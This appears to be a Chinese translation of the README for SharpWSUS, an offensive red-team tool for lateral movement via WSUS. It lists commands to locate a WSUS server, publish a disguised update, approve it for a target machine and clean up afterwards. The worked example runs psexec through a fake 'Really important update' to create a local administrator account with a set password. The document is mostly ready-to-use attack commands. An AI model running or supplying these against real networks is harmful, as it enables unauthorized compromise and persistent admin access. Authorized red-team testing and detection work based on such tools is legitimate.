SharpWSUS 是一个用于通过 WSUS 进行横向移动的 CSharp 工具。对应的博客文章(https://labs.nettitude.com/blog/introducing-sharpwsus/)提供了关于该工具、使用场景和检测的更多详细信息。
极大感谢以下资源,它们确实为我完成了 90% 的工作。该工具只是对以下内容的增强,以实现 C2 的可靠性和灵活性。
____ _ __ ______ _ _ ____
/ ___|| |__ __ _ _ __ _ _\ \ / / ___|| | | / ___|
\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \
___) | | | | (_| | | | |_) \ V V / ___) | |_| |___) |
|____/|_| |_|\__,_|_| | .__/ \_/\_/ |____/ \___/|____/
|_|
Phil Keeble @ Nettitude Red Team
以下命令中,可选参数放在 <> 中。
定位 WSUS 服务器:
SharpWSUS.exe locate
检查 WSUS 服务器,枚举客户端、服务器和现有组:
SharpWSUS.exe inspect
创建更新(注意:有效负载必须是 Windows 签名二进制文件):
SharpWSUS.exe create /payload:[文件位置] /args:[有效负载参数] </title:[更新标题] /date:[YYYY-MM-DD] /kb:[更新 KB] /rating:[更新评级] /msrc:[MSRC] /description:[描述] /url:[url]>
批准更新:
SharpWSUS.exe approve /updateid:[更新 GUID] /computername:[目标计算机] </groupname:[计算机要加入的组] /approver:[批准者名称]>
检查更新状态:
SharpWSUS.exe check /updateid:[更新 GUID] /computername:[目标 FQDN]>
删除更新并清理添加的组:
SharpWSUS.exe delete /updateid:[更新 GUID] /computername:[目标 FQDN] </groupname:[组名] /keepgroup>
sharpwsus locate
sharpwsus inspect
sharpwsus create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \\"net user phil Password123! /add && net localgroup administrators phil /add\\"" /title:"Great UpdateC21" /date:2021-10-03 /kb:500123 /rating:Important /description:"Really important update" /url:"https://google.com"
sharpwsus approve /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2"
sharpwsus check /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local
sharpwsus delete /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2"